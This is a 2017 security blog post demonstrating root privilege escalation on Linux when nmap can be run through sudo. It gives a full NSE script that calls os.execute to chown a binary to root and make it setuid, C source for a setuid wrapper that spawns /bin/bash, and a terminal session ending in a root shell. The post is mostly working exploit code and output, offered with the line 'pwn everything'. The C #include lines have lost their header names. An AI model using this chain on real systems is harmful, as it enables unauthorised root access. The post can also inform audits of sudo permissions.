vendredi 14 avril 2017

Privilege escalation with a sudo nmap

1/ Intro

Do you miss the good old days where nmap got an --interactive option? This option was mostly used to gain root privileges in the case if nmap was suid or sudo-able. This option has been deprecated and removed from nmap:
http://seclists.org/nmap-dev/2010/q1/1241:
This option is rarely used and doesn't work

This day was a bad day for pentester: no more priv esc with nmap :-(

So an admin can give nmap to its users without any risks? I think not, and I'll explain why.

2/ Nmap scripting engine in action

nmap is a very powerful tool which can be extended through lua scripts. We will use this to gain root privileges:
  • nmap can launch any nse scripts
  • nse scripts can call os.execute(" system commands ")
You can read docs on the nmap website.

3/ Sample nse script

I did a really simple script:
mitsurugi@dojo:~$ cat got_root.nse 
-- The Head Section --
description = [[If nmap is suid or you have sudo nmap rights
this script suid a local binary called binsuid]]
author = "0xMitsurugi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}

-- The Rule Section --
hostrule = function(host)
    return host
end

-- The Action Section --
action = function(host)
    os.execute("echo got_root ; id > /tmp/owned")
    os.execute("[ -f binsuid ] && chown root.root binsuid")
    os.execute("[ -f binsuid ] && chmod +s binsuid")
    return "suid nmap priv escalation"
end
mitsurugi@dojo:~$

We have a hostrule, which is basically always true if host is up. We will scan 127.0.0.1 so, the action will start.
The action just chown and chmod a file called binsuid in the local folder.

4/ full session

Let's imagine that a user can launch nmap through sudo without the need of a password.
Here is how to gain root privileges: Create a binary giving you a shell, use the nse script which will give suid rights to it. You're done.

mitsurugi@dojo:~$ cat binsuid.c 
#define _GNU_SOURCE 
#include 
#include 
#include 
void main() {
 setresuid(geteuid(),geteuid(),geteuid());
 system("/bin/bash");
}
mitsurugi@dojo:~$ gcc -o binsuid binsuid.c
mitsurugi@dojo:~$ ls -l binsuid
-rwxr-xr-x 1 mitsurugi mitsurugi 8744 avril 14 10:56 binsuid
mitsurugi@dojo:~$ sudo nmap -p 1337 --script got_root.nse 127.0.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-14 10:55 CEST
got_root
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
PORT     STATE  SERVICE
1337/tcp closed waste

Host script results:
|_got_root: suid nmap priv escalation

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
mitsurugi@dojo:~$ ls -l binsuid
-rwsr-sr-x 1 root root 8744 avril 14 10:55 binsuid
mitsurugi@dojo:~$ ./binsuid 
bash-4.4# id
uid=0(root) gid=1001(mitsurugi) groupes=1001(mitsurugi),27(sudo),29(audio),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),122(kismet)
bash-4.4#

Ok, root rights acquired, job done.

5/ Outro

Lot of fun
Enjoy responsibly \o/ (and pwn everything!)

Ever tried. Ever failed. No matter. Try Again. Fail again. Fail better.
~Samuel Beckett

0xMitsurugi